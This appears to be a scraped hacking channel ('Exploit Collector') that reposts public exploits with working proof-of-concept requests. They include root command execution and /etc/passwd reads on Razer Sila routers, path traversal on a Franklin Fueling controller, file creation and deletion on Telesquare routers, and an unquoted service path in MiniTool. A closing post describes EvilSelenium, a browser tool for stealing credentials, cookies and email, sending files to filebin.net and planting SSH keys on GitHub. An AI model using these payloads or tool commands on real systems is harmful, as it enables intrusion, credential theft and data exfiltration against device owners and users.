Hacking Articles Tips Tricks Videos Tutorials

SAM SUNNY TRIPOWER 5.0 Insecure Direct Object Reference

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 21:28

3 views21:28

Exploit Collector
MiniTool Partition Wizard 12.0 Unquoted Service Path

https://2.bp.blogspot.com/-466o0SY5wbQ/WWlvXOxbxYI/AAAAAAAAIOQ/eHwtwujRsQI9h-mxYQXglBmw7d5gufaKwCLcBGAs/s1600/h51.png
MiniTool Partition Wizard version 12.0 suffers from an unquoted service path vulnerability.

MD5 | 22f69c77e7609945030fec4efb7eba28

Download

# Exploit Title: MiniTool Partition Wizard - Unquoted Service Path
# Date: 08/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.minitool.com/
# Software Link: https://www.minitool.com/download-center/
# Version: 12.0
# Tested: Windows 10
# PoC :

C:\Users\saudh>sc qc MTSchedulerService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MTSchedulerService
TYPE               : 110  WIN32_OWN_PROCESS (interactive)
START_TYPE         : 2   AUTO_START
ERROR_CONTROL      : 1   NORMAL
BINARY_PATH_NAME   : C:\Program Files\MiniTool ShadowMaker\SchedulerService.exe
LOAD_ORDER_GROUP   :
TAG                : 0
DISPLAY_NAME       : MTSchedulerService
DEPENDENCIES       :
SERVICE_START_NAME : LocalSystem
C:\Users\saudh>icacls "C:\Program Files\MiniTool ShadowMaker\SchedulerService.exe"
C:\Program Files\MiniTool ShadowMaker\SchedulerService.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
# Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

MiniTool Partition Wizard 12.0 Unquoted Service Path

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 21:28

Exploit Collector
Telesquare TLR-2855KS6 Arbitrary File Creation

https://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png
Telesquare TLR-2855KS6 suffers from an arbitrary file creation vulnerability.

MD5 | ba82661c541feb7ec102d8bb648b606c

Download

# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Creation
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.telesquare.co.kr/
# Version: TLR-2855KS6
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46418

# Proof of Concept

PUT /cgi-bin/testing_cve.txt HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: nonce=1642692359833588
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Telesquare TLR-2855KS6 Arbitrary File Creation

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 21:28

4 views21:28

4 views21:28

4 views21:28

Exploit Collector
Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 Local File Inclusion

https://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png
Franklin Fueling Systems Colibri Controller Module version 1.8.19.8580 suffers from a local file inclusion vulnerability.

MD5 | b7439b8411a5e5db2349008648bfd0ff

Download

# Exploit Title: Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 - Local File Inclusion (LFI)
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://www.franklinfueling.com/
# Version: 1.8.19.8580
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46417

# Proof of Concept

============[ HTTP Exploitation ]============

GET /18198580/cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password= HTTP/1.1
Host: 192.168.1.6
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: Prefs=LID%3Des%3BPDS%3DMM/dd/yyyy%3BPDL%3DEEEE%2C%20MMMM%20dd%2C%20yyyy%3BPDY%3DMMMM%2C%20yyyy%3BPTS%3DHH%3Amm%3BPTL%3DHH%3Amm%3Ass%3BDSP%3D.%3BGSP%3D%2C%3BGRP%3D3%3BLDZ%3Dtrue%3BUVL%3DuvGallons%3BULN%3DulMillimeters%3BUTM%3DutCentigrade%3BUPR%3DupPSI%3BUP2%3Dup2inWater%3BUP3%3Dup3inHg%3BUFL%3Dufgpm%3BUDY%3Dudkgpcm%3BUMS%3Dumkgrams%3BRPR%3D30%3BXML%3Dfalse%3B
Upgrade-Insecure-Requests: 1

============[ URL Exploitation ]============

http://192.168.1.6/18198580/cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password=

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 Local File Inclusion

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 21:28

Exploit Collector
Telesquare TLR-2855KS6 Arbitrary File Deletion

https://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png
Telesquare TLR-2855KS6 suffers from an arbitrary file deletion vulnerability.

MD5 | a65dfe9a381b50d2e2af1bcd0a0fc6de

Download

# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Deletion
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.telesquare.co.kr/
# Version: TLR-2855KS6
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46419

# Proof of Concept

DELETE /cgi-bin/test.cgi HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 438
Origin: http://192.168.1.5
DNT: 1
Connection: close
Referer: http://192.168.1.5/
Cookie: nonce=16426923592222

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Telesquare TLR-2855KS6 Arbitrary File Deletion

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 21:28

Exploit Collector
WordPress Anti-Malware Security And Brute-Force Firewall Cross Site Scripting

https://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png
WordPress Anti-Malware Security and Brute-Force Firewall plugin versions prior to 4.20.96 suffer from a cross site scripting vulnerability.

MD5 | 2f8b972a36566b684356e0ea7f6fb4c0

Download
Tittle:
WordPress Plugin Anti-Malware Security and Brute-Force Firewall < 4.20.96 - Reflected Cross-Site Scripting

References:
CVE-2022-0953

Author:
Taurus Omar

Description:
The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters.

Affects Plugins:
Gotmls - Fixed in version 4.20.96

Proof of Concept:
GET /wp-admin/admin.php?page=GOTMLS_View_Quarantine&a=">
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

WordPress Anti-Malware Security And Brute-Force Firewall Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 21:28

4 views21:28

4 views21:28

4 views21:28

Exploit Collector
Razer Sila 2.0.418 Command Injection

https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
Razer Sila versions 2.0.441_api through 2.0.418 suffer from a command injection vulnerability.

MD5 | 5eeeac18e38c618f85b2b4448e71a589

Download

# Exploit Title: Razer Sila - Command Injection
# Google Dork: N/A
# Date: 4/9/2022
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Software Link: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Version: RazerSila-2.0.441_api-2.0.418
# Tested on: Razer Sila Router
# CVE N/A

# Proof of Concept

# Request
POST /ubus/ HTTP/1.1
Host: 192.168.8.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: https://192.168.8.1
Referer: https://192.168.8.1/
Te: trailers
Connection: close

{"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"id"}]}

# Response
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 85

{"jsonrpc":"2.0","id":3,"result":[0,{"code":0,"stdout":"uid=0(root) gid=0(root)\n"}]}

# Request
POST /ubus/ HTTP/1.1
Host: 192.168.8.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: https://192.168.8.1
Referer: https://192.168.8.1/
Te: trailers
Connection: close

{"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"ls"}]}

# Response
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 172

{"jsonrpc":"2.0","id":3,"result":[0,{"code":0,"stdout":"bin\ndev\netc\nhome\ninit\nlib\nmnt\nno_gui\noverlay\nproc\nrom\nroot\nsbin\nservices\nsys\ntmp\nusr\nvar\nwww\n"}]}

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Razer Sila 2.0.418 Command Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 21:28

Exploit Collector
Razer Sila 2.0.418 Local File Inclusion

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
Razer Sila versions 2.0.441_api through 2.0.418 suffer from a local file inclusion vulnerability.

MD5 | bc5ebe5c622fa9db83d06c40671387f0

Download

# Exploit Title: Razer Sila - Local File Inclusion (LFI)
# Google Dork: N/A
# Date: 4/9/2022
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Software Link: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Version: RazerSila-2.0.441_api-2.0.418
# Tested on: Razer Sila Router
# CVE N/A

# Proof of Concept

# Request
POST /ubus/ HTTP/1.1
Host: 192.168.8.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 123
Origin: https://192.168.8.1
Referer: https://192.168.8.1/
Te: trailers
Connection: close

{"jsonrpc":"2.0","id":3,"method":"call","params":["4183f72884a98d7952d953dd9439a1d1","file","read",{"path":"/etc/passwd"}]}

# Reponse
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 537

{"jsonrpc":"2.0","id":3,"result":[0,{"data":"root:x:0:0:root:\/root:\/bin\/ash\ndaemon:*:1:1:daemon:\/var:\/bin\/false\nftp:*:55:55:ftp:\/home\/ftp:\/bin\/false\nnetwork:*:101:101:network:\/var:\/bin\/false\nnobody:*:65534:65534:nobody:\/var:\/bin\/false\ndnsmasq:x:453:453:dnsmasq:\/var\/run\/dnsmasq:\/bin\/false\nmosquitto:x:200:200:mosquitto:\/var\/run\/mosquitto:\/bin\/false\nlldp:x:121:129:lldp:\/var\/run\/lldp:\/bin\/false\nadmin:x:1000:1000:root:\/home\/admin:\/bin\/false\nportal:x:1001:1001::\/home\/portal:\/bin\/false\n"}]}

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Razer Sila 2.0.418 Local File Inclusion

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 21:28

Exploit Collector
WordPress LayerSlider Cross Site Scripting

https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
None
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

WordPress LayerSlider Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 21:28

EvilSelenium - A Tool That Weaponizes Selenium To Attack Chromium Based Browsers
http://www.kitploit.com/2022/04/evilselenium-tool-that-weaponizes.html

___________________________
@hacking_Attack
@Hacking_Video

Kitploit – Maintenance in Progress

Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.

4 viewsedited 21:36

4 views21:36

free and open-source cross-platform web browser

/dynamicname2 [login_page] [username_position] [password_position] [username_name] [password_name] - Extract saved credentials from a website, providing the username field name value, password name value and their positions.

COOKIES:
/cookies [website] - Grabs cookies for a given website.

MODULES:
/download [file_url] [seconds] - Downloads a file and specify time to wait for download to finish. File extensions should not be executable.
/exfil [local_file] [seconds] - Uploads a file on filebin.net and outputs the download link.
/gmail [out_path] [num_of_emails] - Fetches emails from mail.google.com if user is authenticated. Max 50 emails.
/outlook [out_path] [num_of_emails] - Fetches emails from Outlook if user is authenticated.
/o365 [out_path] [num_of_emails] - Fetches emails from O365 Outlook if user is authenticated.
/github [key] - Add your SSH key to Github if user is authenticated.
/whatsapp [out_p ath] - Fetches Whatsapp messages if user is authenticated (BETA).
Setup The /install command will download the Chrome Driver and Selenium WebDriver which are the necessary requirements. EvilSelenium will work on Chrome versions 100-90. Tested on Windows 10, Chrome v97 & v90. EvilSelenium.exe /install
Global configuration By default EvilSelenium will try to use Google Chrome's User Data folder to retrieve data, but other Chromium (https://en.wikipedia.org/wiki/Chromium_(web_browser)) based browsers (https://www.kitploit.com/search/label/Browsers) are supported as well.
In order to use different Chrome based browsers you should add the /browserdir following the browser routing in the %localappdata% directory. Here are examples for a few common browsers (should be added to any CLI command): Brave - /browserdir BraveSoftware\Brave-Browser Microsoft Edge - /browserdir Microsoft\Edge Vivaldi - /browserdir Vivaldi Recon Module /enumsavedsites - This will take screenshots of chrome://settings/passwords /screenshot - Screenshot any website. If the user is authenticated to the website then you get authenticated screenshots :). Credentials Module IMPORTANT: The credentials module will DELETE COOKIES in order to steal credentials from autofill. Ideally, you should use the credentials module at the end if you want to export cookies. /autorun - Prebuilt templates for common websites. I'll continue to add more. /dynamicid - Provide the login URL along with the username input field's ID and password field's ID. This is equivalent to document.getElementById(). /dynamicname - If the fields don't have IDs, provide the fields' name values. It will pick the first index of the name values. This is equivalent to document.getElementsByName()[0].value. /dynamicname2 - Provide the fields' name values along with their index position. This is equivalent to document.getElementsByName()[x].value where x is the provided position. Cookies Module /cookies - Dumps cookies from the specified website. Misc Modules These are additional modules I built to demonstrate what sort of actions you can do with Selenium. /download - Download a file & specify time to wait for the download. A non-executable file extension should be appended to the file before downloading to avoid Chrome's Safebrowsing prompt. /exfil - Uploads a file on filebin.net & specify the time to wait for the upload to complete. Once the upload is completed the file's download link is written. /gmail - Fetches emails from mail.google.com if user is authenticated. Max 50 emails. /outlook - Fetches emails from Outlook if user is authenticated. /o365 - Fetches emails from O365 Outlook if user is authenticated. /github - Add your SSH key to Github if user is authenticated. /whatsapp - Fetches Whatsapp messages if user is authenticated (BETA). Sample Commands EvilSelenium.exe /screenshot https://mail.google.com c:\users\mr.d0x\downloads

EvilSelenium.exe /dynamicid https://www.hybrid-analysis.com/login login_email login_password

___________________________
@hacking_Attack
@Hacking_Video

Wikipedia

Chromium (web browser)

4 viewsedited 21:36